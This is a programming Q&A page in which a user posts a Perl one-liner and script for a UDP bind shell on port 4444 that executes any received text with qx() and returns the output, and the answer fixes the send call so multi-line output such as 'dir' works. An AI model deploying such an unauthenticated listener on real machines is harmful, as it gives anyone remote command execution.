perlsocketsio-socket

Perl print backticks STDOUT


I am writing a very simple bind shell in Perl that is supposed to open a specific port on windows and when I connect to it with ncat, I should be able to write commands from ncat, those be executed on the machine and to return me STDOUT. Here is my code so far:

use strict; use IO::Socket; 
my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); 
$MAXLEN = 2048;
$PORTNO = 4444;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp');
while ($sock->recv($newmsg, $MAXLEN)) {
    my($port, $ipaddr) = sockaddr_in($sock->peername);
    my @cmd = qx($newmsg);
    print(@cmd);
    $sock->send(@cmd);
}

If I type something easy like echo Hello world it returns as expected, Hello World. Problem arises when I type dir or something that includes new lines(or so I have guessed, I'm pretty new with perl). When typing dir, the result gets printed on the perl shell (as expected, due to print(@cmd), but then also prints usage: $sock->send(BUF, [FLAGS, [TO]]) at -e line 1. and exits, but I never receive the message in ncat.

I am running the command from a command shell as a one-liner: perl -e "use strict; use IO::Socket; my($sock, $newmsg, $cmd, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 4444; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp'); while ($sock->recv($newmsg, $MAXLEN)) {my($port, $ipaddr) = sockaddr_in($sock->peername);my @cmd = qx($newmsg);print(@cmd);$sock->send(@cmd);}"

How can I do it so that it prints things as dir?


Solution

  • Your problem is with $sock->send(@cmd). The send method expects the message to be a scalar not an array. You can fix this by the following

    my $CRLF="\x0D\x0A"; # Network line break
    $sock->send(join $CRLF, @cmd); # Convert @command into a single string